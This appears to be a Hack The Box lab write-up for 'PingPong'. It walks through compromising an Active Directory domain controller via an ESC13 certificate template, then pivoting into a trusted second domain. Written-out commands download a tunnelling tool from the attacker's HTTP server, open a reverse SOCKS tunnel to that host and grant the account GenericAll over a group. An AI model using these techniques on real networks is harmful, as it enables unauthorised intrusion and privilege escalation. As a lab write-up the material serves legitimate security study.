Skip to main content

HTB: PingPong Writeup

Updated 55 min readMarkdown
HTB: PingPong Writeup

PingPong is a deep dive into the complexities of Active Directory, where a seemingly ordinary assumed-breach account opens the door to a much larger compromise. The journey begins in the PING domain with an AD CS ESC13 vulnerability, where certificate issuance policies provide a path to additional group privileges and remote access to the first domain controller. From there, a forest trust provides a path into PONG, where gMSA password retrieval, PowerShell history, Resource-Based Constrained Delegation (RBCD) and SQL Server privilege escalation gradually expand access.

However, compromising the second domain controller is only part of the story. The real challenge lies in connecting the dots across the forest trust, extracting domain secrets and returning to PING to exploit a second certificate template vulnerability: AD CS ESC4. By abusing excessive permissions over the SmartcardAuthentication template, it becomes possible to modify its configuration, request a certificate for the PING Domain Administrator and ultimately compromise the first domain controller.

It's a chain involving two domains, two AD CS vulnerabilities and several moving parts. As the name suggests, getting from one side to the other requires a little back-and-forth.


About

  • OS: Windows
  • Difficulty: Insane
  • Release Date: 25 Apr, 2026

Machine Information

  • Target IP Address — 10.129.159.165
  • Attacker IP Address — 10.10.15.37
  • Assume-Breach Username — c.roberts
  • Assume-Breach Password — AssumedBreach123
Machine Information

Workspace Preparation

  • The first step was to create a dedicated working directory to keep scan results, configuration files, Kerberos tickets and other artifacts organized throughout the assessment:
mkdir PingPong && cd PingPong
Workspace Preparation

IP Address Confirmation and Connectivity Verification

  • Before beginning enumeration, the active HTB VPN interface was checked to confirm that the attacking machine had successfully established a connection to the lab network:
ifconfig tun0
  • With the VPN connection established, connectivity to the target machine was verified using ICMP echo requests:
ping -c 3 10.129.159.165
IP Address check and Connectivity Verification
  • All three packets received responses, with no packet loss. This confirmed that the target was reachable through the HTB VPN.
  • The TTL value of 127 also suggested a Windows-based target, although TTL values alone are not definitive indicators of an operating system.

Network Enumeration

  • An initial TCP port scan was performed using Nmap to identify open ports, determine the services running on them and collect additional information about the target:
sudo nmap -sCV --reason -oN pingpong.nmap 10.129.159.165
Network Enumeration using Nmap
  • Several Services immediately stood out, particularly those commonly associated with Microsoft Active Directory environments.

Understanding the Exposed Services

  • Exposed Ports and Services:
    • Port 53 (DNS): Used for domain name resolution and locating Active Directory services.
    • Port 88 (Kerberos): Authentication protocol commonly used in Active Directory domains.
    • Port 135 (MSRPC): Microsoft Remote Procedure Call services.
    • Port 139 (NetBIOS): Supports legacy network communication and file-sharing functionality.
    • Port 389 (LDAP): Provides directory access and querying functionality.
    • Port 445 (SMB): Used for Windows file sharing and other network operations.
    • Port 464 (Kerberos Password Change): Supports Kerberos password-change operations.
    • Port 593 (RPC over HTTP): Allows RPC communication over HTTP.
    • Port 636 (LDAPS): LDAP over TLS for encrypted directory communication.
    • Port 2179 (VMRDP): Associated with Hyper-V virtual machine connections.
    • Port 3268 (Global Catalog LDAP): Provides Active Directory forest-wide directory searches.
    • Port 3269 (Global Catalog LDAPS): Encrypted Global Catalog access.
    • Port 5985 (WinRM): Windows Remote Management over HTTP.
  • The combination of DNS, Kerberos, LDAP, SMB and Global Catalog services strongly suggested that the target was an Active Directory Domain Controller.
  • Additional information from the LDAP service identified the domain as ping.htb, while the SSL certificates revealed the following DNS names:
dc1.ping.htb
ping.htb
PING
  • The service information also identified the hostname as DC1 and confirmed that the target was running Windows.
  • Another important observation came from the SMB security scripts which indicated that SMB signing was enabled and enforced. SMB signing provides message integrity by attaching cryptographic signatures to SMB messages, helping protect against certain relay and tampering attacks.
  • The scan also reported a clock skew with an approximately eight-hour difference between the attacking machine's clock and the domain controller's clock. This would become particularly important during Kerberos authentication, which is sensitive to time differences between clients and domain controllers.

Hosts Configuration

  • Although the target could be accessed directly through its IP address, Active Directory environments rely heavily on DNS names. Kerberos authentication, in particular, uses Service Principal Names (SPNs) and hostname-based service identification.
  • To simplify subsequent enumeration and authentication, the target's hostname and domain were added to the local /etc/hosts file.
  • NetExec was used to identify the target's hostname and domain information and generate an appropriate hosts file:
nxc smb 10.129.159.165 --generate-hosts-file pingpong_hosts
Hosts Configuration
  • The entries were then appended to /etc/hosts using:
cat pingpong_hosts | sudo tee -a /etc/hosts
  • The final configuration was then verified.
  • With the mappings in place, the domain controller could now be referenced using DC1.ping.htb, ping.htb or DC1 instead of repeatedly specifying its IP address.

Credentials Authentication

  • The machine was accessed under an assume-breach scenario.
  • The first step was to determine which authentication mechanisms were supported by the target and whether the supplied credentials were valid.
  • A basic SMB enumeration was performed using NetExec:
nxc smb DC1.ping.htb
Assume-Breach Credential Authentication
  • The output provided additional confirmation of the target's environment:
    • name:DC1 - Identified the hostname.
    • domain:ping.htb- Confirmed the Active Directory domain.
    • signing:True- Indicated that SMB signing was enabled.
    • SMBv1:False - Confirmed that the legacy SMBv1 protocol was disabled.
    • NTLM:False - Indicated that NTLM authentication was not supported by the SMB service.
    • DC:True - Confirmed that the target was identified as a domain controller.
  • The supplied credentials were then tested against SMB using the default authentication mechanisms:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123'
  • The authentication attempt returned STATUS_NOT_SUPPORTED. Given the earlier discovery that NTLM was disabled, this suggested that the default NTLM-based authentication attempt was unsuitable for the target.
  • Since Kerberos was available on port 88, the authentication attempt was repeated using the -k option to request Kerberos authentication:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k
  • This time, the error was different KRB_AP_ERR_SKEW.
  • This Kerberos error indicated that the clocks of the client and the Key Distribution Center (KDC) were too far apart.
  • To resolve the time discrepancy, ntpdate was used to synchronize the attacking machine's clock with the domain controller:
sudo ntpdate DC1.ping.htb 
  • With time discrepancy resolved, the SMB authentication attempt was repeated:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k
  • Authentication succeeded. The successful response confirmed that the supplied credentials were valid and that Kerberos authentication was working against the SMB service.
  • The same credentials were then tested against LDAP:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k 
  • LDAP Authentication was also successful, confirming that the credentials could be used to authenticate against another Active Directory service.

Investigating WinRM Access

  • Since TCP port 5985 was open, the next step was to determine whether the compromised account could obtain a remote shell through Windows Remote Management (WinRM).
  • The first attempt used NetExec:
nxc winrm DC1.ping.htb -u c.roberts -p 'AssumedBreach123'
  • The error suggested that the WinRM authentication attempt was encountering an NTLM compatibility limitation. NetExec's WinRM authentication implementation was not successfully handling the targets authentication configuration.
  • Importantly, this result did not establish that the credentials were invalid. SMB and LDAP authentication had already confirmed that they were valid.
  • To investigate further, a Kerberos ticket was requested using Impacket's getTGT.py utility:
impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123'
c.roberts TGT Generation
  • The getTGT utility requests a Ticket Granting Ticket (TGT) from the domain controller using the supplied domain credentials.
  • A successful request resulted in a Kerberos credential cache file name c.roberts.ccache.
  • The KRB5CCNAME environment variable was then used to specify this ticket when attempting to establish a WinRM session through evil-winrm-py
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k 
  • However, the connection failed. The error indicated that the Kerberos client could not locate a KDC for the realm PING.HTB.
  • Although the TGT had been successfully obtained, the Kerberos client still needed a valid realm and KDC configuration to perform subsequent authentication operations.

Configuring Kerberos Realm Resolution

  • To address the KDC discovery issue, a Kerberos configuration file was generated using NetExec:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --generate-krb5-file pingpong_krb5.conf
KRB5 File Generation and Configuration
  • The generated configuration was then exported through the KRB5_CONFIG environment variable:
export KRB5_CONFIG=pingpong_krb5.conf
  • This instructs Kerberos-aware applications to use the specified configuration file instead of the default system configuration.
  • The environment variable was verified:
env | grep KRB5_CONFIG
WinRM Access as c.roberts Attempt
  • With the configuration in place, the WinRM connection was attempted again using the previously obtained TGT:
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k
  • The error had changed, indicating that the previous KDC discovery problem was no longer being reported. However, Kerberos authentication through WinRM still failed.

Share Enumeration

  • With valid credentials established for both SMB and LDAP, the next step was to enumerate accessible SMB shares. These shares can expose configuration files, scripts, group policies and other information that may help uncover weaknesses in an Active Directory.
  • NetExec was used to enumerate the available shares:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --shares
Share Enumeration using NetExec
  • The account had explicitly reported READ access to IPC$, NETLOGON and SYSVOL. No permissions were displayed for the administrative shares. Nothing interesting here.

Users Enumeration

  • The next step was to enumerate domain user accounts through LDAP:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --users
Users Enumeration using NetExec
  • The command returned 25 users.
  • The enumeration revealed the domain contained a number of accounts associated with different IT and security roles. The descriptions provided useful organizational context, identifying users such as the IT Manager, IT Director, Network Engineer and Security Specialist.

Interface and Domain Controller Enumeration

  • An interesting aspect of Active Directory environments is that a domain controller may have multiple network interfaces, including interfaces connected to internal networks that are not directly accessible from the attacking machine.
  • To investigate the network configuration of DC1, NetExec was used to enumerate its network interfaces:
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --interfaces
Interfaces and Domain Controller Enumeration using NetExec
  • The output revealed two network Interfaces:
    • Interface 1 with an IP Address of 10.129.159.165 - HTB target network.
    • Interface 2 with an IP Address of 192.168.2.1 - Internal network.
  • The second interface was particularly interesting. It indicated that DC1 was also connected to an internal network using the 192.168.2.0/24 address space.
  • To investigate further, the domain controller list was enumerated through LDAP:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --dc-list
  • The enumeration identified another domain controller: dc2.pong.htb : 192.168.2.2
  • More importantly, the output revealed a bidirectional forest-transitive trust relationship between ping.htb and pong.htb.

Understanding the Forest Trust

  • An Active Directory forest is a collection of one or more domains that share a common schema, configuration and Global Catalog.
  • A forest-transitive trust allows authentication relationships to extend across the domains within the trusted forests, subject to the trust configuration and applicable security restrictions.
  • A bidirectional trust means that each side has a trust relationship with the other. However, this does not automatically grant every user access to resources in both domains. Actual access depends on authorization, group membership, trust restrictions and other security controls.

Computers and Group Managed Service Account (gMSA) Enumeration

  • Computer accounts represent machines joined in an Active Directory domain. They typically use account names ending in $.
  • gMSAs are special Active Directory accounts designed to provide automated password management for services. Instead of requiring administrators to manually maintain service account passwords, Active Directory manages and periodically rotates their passwords.
  • The computer accounts were enumerated using:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --computers
Computer Enumeration using NetExec
  • Two computer-related objects were returned: DC1$ and gMSA$.
  • The first represented the domain controller's computer account, while the second was an account associated with the gMSA object.
  • To investigate whether the gMSA account's managed password could be retrieved, NetExec's gMSA enumeration functionality was used:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --gmsa
  • Although the gMSA account was identified, the current account did not have permission to retrieve its managed password.

Kerberoasting and AS-REP Roasting

  • The next step was to investigate two common Kerberos attack techniques: Kerberoasting and AS-REP Roasting.

Kerberoasting

  • Kerberoasting targets accounts configured with Service Principal Names (SPNs).
  • When a domain user requests a Kerberos service ticket for an SPN, the ticket's encrypted portion is protected using the service account's password-derived key. An attacker who can obtain the ticket may attempt to crack it offline to recover the underlying password.
  • NetExec was used to identify potentially vulnerable accounts:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --kerberoast kerberoast
Kerberoast and AS-Rep Roast Accounts Enumeration using NetExec
  • No Kerberoastable accounts were returned.

AS-REP Roasting

  • AS-REP Roasting targets domain accounts configured with the Do not require Kerberos preauthentication setting.
  • Normally, Kerberos preauthentication requires a client to demonstrate knowledge of its credentials before the KDC issues an authentication response. When preauthentication is disabled for an account, an attacker may request an AS-REP response without first proving knowledge of the account's password.
  • The encrypted portion of the response can then be subjected to offline password cracking.
  • The following command was used:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --asreproast asreproast
  • No accounts meeting the AS-REP Roasting criteria were discovered.

Active Directory Certificate Services (AD CS) Enumeration

  • Active Directory Certificate Services (AD CS) is Microsoft's Public Key Infrastructure (PKI) implementation for issuing and managing digital certificates within an Active Directory environment.
  • Certificates can be used for several purposes, including user authentication, computer authentication, secure email and encryption.
  • With improperly configured, certificate authorities and certificate templates can introduce privilege-escalation opportunities. Certain configurations allow users to enroll in certificate templates and obtain certificates that provide authentication capabilities beyond their intended permissions.
  • To determine whether AD CS was deployed in the ping.htb domain, NetExec's AD CS module was executed:
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k -M adcs
AD CS Enumeration using NetExec
  • The results confirmed that AD CS was deployed on DC1.ping.htb, with the Certificate Authority named ping-DC1-CA.
  • This made certificate-template enumeration the next logical step.

Certificate Template Enumeration with Certipy

  • To enumerate potentially vulnerable certificate templates:
KRB5CCNAME=c.roberts.ccache certipy-ad find -dc-ip 10.129.159.165 -target DC1.ping.htb -k -vulnerable -stdout
Certificate Template Enumeration with Certipy Certificate Template Enumeration with Certipy Continuation
  • Among the enumerated certificate templates, Certipy identified one particularly interesting template TemporaryWinRM template which was enabled and supported client authentication.
  • More importantly, its issuance policy was associated with a domain group named TempWinRMAccess.
  • This relationship was significant because the template was also flagged by Certipy as vulnerable to ESC13.

Understanding ESC13

  • ESC13 is an Active Directory Certificate Services escalation technique involving issuance policies linked to Active Directory security groups.
  • In this configuration, a certificate template is associated with an issuance policy that is linked to a particular security group.
  • When an eligible user enrolls in the certificate template and obtains a certificate, the issuance policy can cause the corresponding group membership to be reflected in the user's authorization context, depending on the certificate and domain configuration.
  • This can potentially grant the user additional privileges through the linked group without requiring direct membership changes to the user's Active Directory account.
  • In this case, the relevant relationship was:
TemporaryWinRM Certificate Template → Issuance Policy → TempWinRMAccess → Potential WinRM Access
  • The output further confirmed that ordinary domain users were permitted to enroll in the template.
[+] User Enrollable Principals      : PING.HTB\Domain Users
  • Certipy summarized the finding as:
[!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
  • The TemporaryWinRM template combined three important properties:
    1. It was enabled and supported client authentication.
    2. Domain Users had enrollment permissions.
    3. Its issuance policy was linked to the TempWinRMAccess group.
  • Together, these properties presented a potential path for obtaining additional privileges through certificate enrollment and the ESC13 mechanism.

Active Directory Objects Collection with RustHound-CE

  • With the initial enumeration complete and a potentially vulnerable AD CS template identified, the next step was to build a broader picture of the Active Directory environment.
  • Collecting the required data using RustHound-CE:
rusthound-ce -d ping.htb -f DC1.ping.htb -u c.roberts -p 'AssumedBreach123' --ldaps -z
Rusthound-CE Active Directory Object Data Collection
  • The collection completed successfully, with RustHound-CE identifying several Active Directory objects and certificate-related configurations.
  • The generated archive was ready for import into BloodHound for further analysis.

BloodHound Analysis

  • With the collection complete, BloodHound was started using Docker Compose:
docker compose up -d
Starting BloodHound Docker Compose Version
  • After accessing BloodHound, the generated RustHound-CE ZIP archive was uploaded and allowed to finish ingesting.
Ingestion Process in BloodHound
  • Searching for c.roberts account and examining its Member Of relationships revealed membership in two groups:
    • DOMAIN USERS
    • IT
c.roberts Group Membership in BloodHound
  • Examining Outbound Object Control relationships for c.roberts revealed that the account inherited enrollment access to the TemporaryWinRM certificate template through its membership in DOMAIN USERS.
c.roberts Outbound Object Control Relationship in BloodHound
  • This confirmed the earlier Certipy finding: the assume-breach account had the necessary enrollment permissions to request a certificate using the TemporaryWinRM template.
  • The IT group was also examined to identify its members.
IT Group Members in BloodHound
  • BloodHound confirmed a CrossForestTrust relationship between PING.HTB and PONG.HTB.
Cross-Forest Trust Between PING.HTB and PONG.HTB Cross-Forest Trust as Outbound Trusts of PING.HTB
  • BloodHound also exposed certificate-related escalation information within PING.HTB.
Certificate-Related Escalations in PING.HTB
  • One particularly interesting finding was an ESC4 path associated with the CA MANAGERS group.
  • We will discuss this later.

BloodyAD Enumeration

Enumerating Writable Permissions

  • The first step was to identify objects over which c.roberts had writable permissions:
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get writable
c.roberts Writable Permissions with BloodyAD
  • The account had WRITE permissions over its own user object and a Foreign Security Principal object. It also had CREATE_CHILD permissions over two DNS-related directory containers.
  • Although these permissions were worth investigating, they did not immediately establish a direct privilege-escalation path.

Enumerating Account Group Membership

  • Next, the account's group memberships were retrieved directly using BloodyAD:
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get membership c.roberts
c.roberts Group Membership with BloodyAD
  • The output confirmed membership in three groups:
    • Users
    • Domain Users
    • IT
  • This direct LDAP enumeration corroborated the group membership relationships previously observed in BloodHound.

Investigating the TemporaryWinRM Certificate Template

  • BloodyAD's get object operation was used to retrieve the template's attributes:
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get object "CN=TEMPORARYWINRM,CN=CERTIFICATE TEMPLATES,CN=PUBLIC KEY SERVICES,CN=SERVICES,CN=CONFIGURATION,DC=PING,DC=HTB"
TemporaryWinRM Object Enumeration with BloodyAD
  • The distinguished name (DN) identifies the certificate template within the Active Directory Configuration naming context and was obtained from BloodHound.
  • The most relevant attribute was:
msPKI-Certificate-Policy: 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
  • The OID matched the issuance policy associated with the TempWinRMAccess group identified during the earlier Certipy enumeration.

Requesting a Certificate Using TemporaryWinRM

  • Certipy was used for the certificate request:
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k 
Certificate Request using TemporaryWinRM Template
  • The first attempt failed.
  • This was not an enrollment-permission failure. Certipy could not establish the required RPC connection to the Certificate Authority.
  • A second attempt was made using the same command, and this time the certificate request succeeded.
  • The Certificate Authority issued a certificate for C.Roberts@ping.htb.
  • Certipy also retrieved the certificate's associated object SID and saved the certificate and private key in c.roberts.pfx.
  • The successful request confirmed that c.roberts could enroll in the TemporaryWinRM template.

Troubleshooting Intermittent RPC connection Failures

  • To investigate the inconsistent behavior, DNS resolution for DC1.ping.htb was examined.
  • The dig command was used to query the domain controller's DNS server:
dig +short DC1.ping.htb @10.129.159.165
  • This revealed that DC1.ping.htb resolved to two IPv4 addresses:
    • 10.129.159.165 - The address reachable through the HTB VPN.
    • 192.168.2.1 - DC1's internal network interface.
  • The DNS server returned these addresses in different orders across queries.
  • This behavior was important because Certipy was resolving the hostname during its RPC connection process. When the internal address was returned first, the tool attempted to connect to an interface that was not reachable from the attacking machine.

Confirming the Incorrect RPC Endpoint

  • To understand exactly what was happening, the certificate request was repeated with Certipy's debug output enabled:
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k -debug
Troubleshooting Incorrect RPC Endpoint
  • The debug output revealed the resolution and connection process.
  • The critical lines were:
[+] Trying to connect to endpoint: ncacn_np:192.168.2.1[\pipe\cert]
[!] Failed to connect to endpoint ncacn_np:192.168.2.1[\pipe\cert]: [Errno Connection error 
  • Certipy was attempting to reach the Certificate Authority through the internal interface at 192.168.2.1, rather than the reachable HTB address.
  • Since the internal interface was unreachable from the attacking machine, the connection timed out.

Confirming the Successful Connection

  • On the subsequent attempt, Certipy resolved the hostname differently and selected the reachable address:
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k -debug
Successful Connection using the Correct RPC Endpoint
  • This time, the RPC connection was established successfully through 10.129.159.165, and the certificate was issued.
  • This is a useful reminder that when a domain controller has multiple network interfaces, DNS resolution can influence which interface a tool attempts to use.

Certificate-Based Authentication

  • With TemporaryWinRM certificate successfully issued and saved, the next step was to use it for authentication.
  • Certipy's auth command can authenticate using a certificate and its private key to request a Kerberos Ticket-Granting Ticket (TGT). This allows certificate-based authentication without relying on the account's plaintext password.
  • Before proceeding, the existing credential cache was removed to avoid confusion between the previously obtained password-based credentials and the new certificate-based authentication:
rm c.roberts.ccache
  • The certificate was then used to request a new TGT:
certipy-ad auth -pfx c.roberts.pfx -dc-ip 10.129.159.165
TGT Request using the Obtained Certificate File
  • Certipy successfully obtained a TGT and retrieved the account's NT hash.

Obtaining a WinRM Session on DC1

  • The earlier WinRM attempts had failed because the authentication method used by the NetExec invocation relied on NTLM, which the target did not support. This time, evil-winrm-py was used with Kerberos authentication:
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k
Obtaining WinRM Session as c.roberts
  • The connection succeeded and a remote PowerShell session was now available as c.roberts.
  • None of the privileges enumerated established an immediate path to local administrator or domain administrator access.
  • The account's profile directory showed only standard user profile directories. No obvious files of interest were identified at this stage.

Inspecting the JEA Configuration

  • During further enumeration, C:\ProgramData was inspected for potentially interesting directories and configuration files.
JEA Directory Enumeration
  • Among the listed directories was the JEA directory.
  • The JEA directory contained a PowerShell session configuration file named JEA.pssc.
  • The file was a PowerShell Just Enough Administration (JEA) session configuration.
  • JEA is a Windows security feature designed to provide delegated administrative access through restricted PowerShell sessions. Rather than granting users unrestricted administrative access, administrators can expose specific commands and operations through a controlled endpoint.
  • Two settings in this configuration are particularly relevant:
    • SessionType = 'RestrictedRemoteServer': Specifies a restricted session type that limits the commands and functionality available through the session.
    • LanguageMode = 'ConstrainedLanguage': Restricts PowerShell language features to reduce the ability to execute arbitrary code.
  • The configuration suggests that JEA was being used or prepared on the host. However, the presence of a .pssc file alone does not establish that a JEA endpoint is registered, active or accessible to the current account. That would require further verification.

Discovering Connectivity to the PONG Domain

  • Recall that earlier enumeration revealed a second domain, PONG.HTB, with its domain controller at 192.168.2.2.
  • The machine's internal interface was 192.168.2.1, placing both domain controllers on the same internal network.
  • From the existing WinRM session on DC1, connectivity to the second domain controller was tested:
ping DC2.pong.htb
DC2.pong.htb Connectivity verification
  • The hostname resolved to 192.168.2.2, and all four ICMP requests received replies.
  • This confirmed that DC1 could communicate with DC2 over the internal network.

Establishing a SOCKS Tunnel with Chisel

  • Chisel is a fast TCP/UDP tunnelling tool that uses HTTP as its transport protocol. It supports reverse connections and SOCKS proxy functionality, making it useful when an internal network is reachable only through a compromised host.
  • The plan was to establish a reverse SOCKS tunnel from DC1 back to the attacking machine. This would allow tools running on Kali to communicate with services on the internal network through DC1.

Preparing the Windows Chisel Binary

  • First, a working directory was created on the attacking machine:
mkdir www && cd www
  • The Windows AMD64 release of Chisel was downloaded from its GitHub releases page:
wget -q --show-progress "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip"
Downloading Windows Version of Chisel
  • The archive was extracted using 7-Zip:
7z x chisel_1.12.0_windows_amd64.zip
  • The resulting executable was inspected:
file chisel.exe
  • This confirmed that the downloaded file was a 64-bit Windows executable.

Transferring Chisel to DC1

  • Before transferring the executable, its MD5 hash was recorded:
md5sum chisel.exe
Transferring Chisel to DC1
  • A temporary HTTP server was then started from the directory containing chisel.exe:
python -m http.server
  • From the WinRM session, the executable was downloaded into C:\ProgramData:
wget "http://10.10.15.37:8000/chisel.exe" -o chisel.exe
  • The hash calculated matched the value recorded on Kali, confirming that the transferred executable was identical to the downloaded file.

Preparing the Linux Chisel Binary

  • The Linux AMD64 release was downloaded on the attacking machine:
wget -q --show-progress "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz"
Downloading Linux Version of Chisel
  • The compressed archive was extracted:
7z x chisel_1.12.0_linux_amd64.gz
  • The executable permission was added:
chmod +x chisel
  • Finally, its file type was verified:
file chisel
  • With both binaries prepared, the tunnel could now be established.

Starting the Chisel Server

  • On the attacking machine, Chisel was started in server mode:
./chisel server -p 8001 --reverse --socks5
Starting Chisel Server and Client
  • The server started successfully.

Connecting the Chisel Client from DC1

  • With the server listening, the Windows client was started from the existing WinRM session:
.\chisel.exe client 10.10.15.37:8001 R:socks
  • This instructed the client on DC1 to connect back to the Chisel server at 10.10.15.37:8001 and establish a reverse SOCKS proxy.
  • The server confirmed that the connection had been established.

Configuring Internal Domain Resolution

  • Before using the tunnel, the internal domain controller needed to be resolvable by its hostname from Kali.
  • The /etc/hosts file was updated to include DC2:
echo "192.168.2.2        DC2.pong.htb pong.htb DC2" | sudo tee -a /etc/hosts
DC2.pong.htb Host Configuration
  • This ensured that applications on the attacking machine could resolve the internal domain controller's hostname to its internal IP address.

Enumerating the PONG Domain Through the Tunnel

  • With Chisel running and the hostname mapping in place, the next step was to verify access to DC2 through the SOCKS proxy:
proxychains -q nxc smb DC2.pong.htb 
  • The ProxyChains utility forces supported network connections through the configured proxy. In this case, it routes the connection through the configured proxy.
  • NetExec successfully identified the second domain controller.
  • This confirmed that SMB communication with DC2 was working through the tunnel.

Testing Cross-Domain Authentication

  • Since PING.HTB and PONG.HTB had a bidirectional forest-transitive trust relationship, authentication using the existing c.roberts credentials were tested against DC2.
  • First, SMB authentication:
proxychains -q nxc smb DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123' -k
c.roberts pong.htb Credential Authentication
  • Authentication succeeded.
  • LDAP authentication was then tested:
proxychains -q nxc ldap DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123' -k
  • The output confirmed successful authentication.
  • This demonstrated that c.roberts account from PING.HTB could authenticate to both SMB and LDAP services on DC2 through the established trust relationship.
  • However, successful authentication does not automatically imply administrative access or authorization to every resource in the trusted domain. Further enumeration would be needed to establish what the account could access.
  • Finally, WinRM authentication was tested against DC2:
proxychains -q nxc winrm DC2.pong.htb -d ping.htb -u c.roberts -p 'AssumedBreach123'
  • The attempt failed miserably.
  • This was consistent with the earlier WinRM authentication issue encountered on DC1.
  • The NetExec WinRM invocation was unable to authenticate because the target did not support the NTLM authentication method used by that path. The result should therefore not be interpreted as proof that the account was denied WinRM access through every available authentication method.

Enumerating PONG.HTB with RustHound-CE

  • With access to DC2.pong.htb established through the Chisel tunnel, the next step is to collect Active Directory data from the second domain.
  • The initial collection attempt fails with a Kerberos error:
KRB5CCNAME=c.roberts.ccache proxychains -q rusthound-ce -d pong.htb -f DC2.pong.htb -k -z
Unsuccessful RustHound-CE Data Collection and KRB5 Configuration File Update
  • The error indicates that Kerberos cannot locate a Key Distribution Center (KDC) for the PONG.HTB realm. Although the existing Kerberos configuration already contains the PING.HTB realm, it needs an entry for PONG.HTB as well.
  • The configuration is updated to explicitly map both domains to their respective KDCs. The updated configuration is then exported for the current shell session so that Kerberos-aware tools use the correct realm information.
  • With the configuration corrected, the collection succeeds:
KRB5CCNAME=c.roberts.ccache proxychains -q rusthound-ce -d pong.htb -f DC2.pong.htb -k -z
Successful RustHound-CE Object Data Collection on DC2
  • The archive is uploaded to BloodHound and the ingestion process is allowed to finish before examining the newly collected relationships.

Identifying the gMSA Managers relationship

  • After ingestion, viewing the Member Of relationship for c.roberts reveals that the account belongs to the IT group, and the IT has now ownership relationship with GMSA MANAGERS@PONG.HTB.
IT Group Ownership of GMSA MANAGERS Group IT Group Owns GMSA MANAGERS Group
  • Further inspection of the GMSA MANAGERS group reveals an important outbound permission:
    • GMSA MANAGERS has ReadGMSAPassword over GMSA$@PONG.HTB.
    • It also has ReadGMSAPassword over PONG_GMSA$@PONG.HTB.
GMSA MANAGERS Outbound Permissions
  • This is particularly interesting because membership in GMSA MANAGERS would provide the ability to retrieve the managed passwords of these service accounts, subject to the relevant directory permissions.
  • The immediate objective is therefore to become a member of GMSA MANAGERS.

Inspecting the GMSA MANAGERS group

  • Before modifying the group, its LDAP attributes are inspected using BloodyAD:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "GMSA MANAGERS"
GMSA MANAGERS Object Enumeration with BloodyAD
  • Among the returned attributes, two are particularly relevant: groupType and member.
  • The groupType attribute identifies the group's scope and whether it is a security or distribution group.
  • The other important attribute is member, which contains the group's current members. Querying it directly shows that the group has no members.
 KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get object "GMSA MANAGERS" --attr member
  • The writable permissions of c.roberts are also checked:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k get writable
c.roberts Writable Permissions on DC2
  • The relevant result is:
distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
DACL: WRITE
  • This is significant. The account has permission to modify the group's Discretionary Access Control List (DACL), which controls who can perform operations on the object.
  • Before attempting to add the account, its SID is retrieved from the PING.HTB domain:
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get object c.roberts --attr objectSID
c.roberts SID Retrieval
  • The SID is used when adding c.roberts to the group in the other domain.

Understanding the Group Scope Restriction

  • The first attempt to add c.roberts to GMSA MANAGERS fails:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
c.roberts membership addition to GMSA MANAGERS Failed Attempt
  • At first, this appears to be a permissions issue. However, the writable DACL finding suggests that the group itself can be modified. The next step is to grant c.roberts broader control over the group and retry the operation:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add genericAll "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
  • GenericAll grants full control over the target object. This should provide the required object-level permissions to modify its membership.
  • However, retrying the membership operation produces a different error:
KRB5CCNAME=c.roberts.ccache proxychains -q bloodyad --host DC2.pong.htb -d pong.htb -k add groupMember "gMSA Managers" "S-1-5-21-750635624-2058721901-1932338391-2617"
  • The error reveals the actual restriction. The GMSA MANAGERS group belongs to PONG.HTB, while c.roberts belongs to PING.HTB. The group is configured with Global scope, and a global security group cannot contain members from another domain.
  • The issue is therefore not simply a missing permission. The group's scope prevents the intended cross-domain membership.

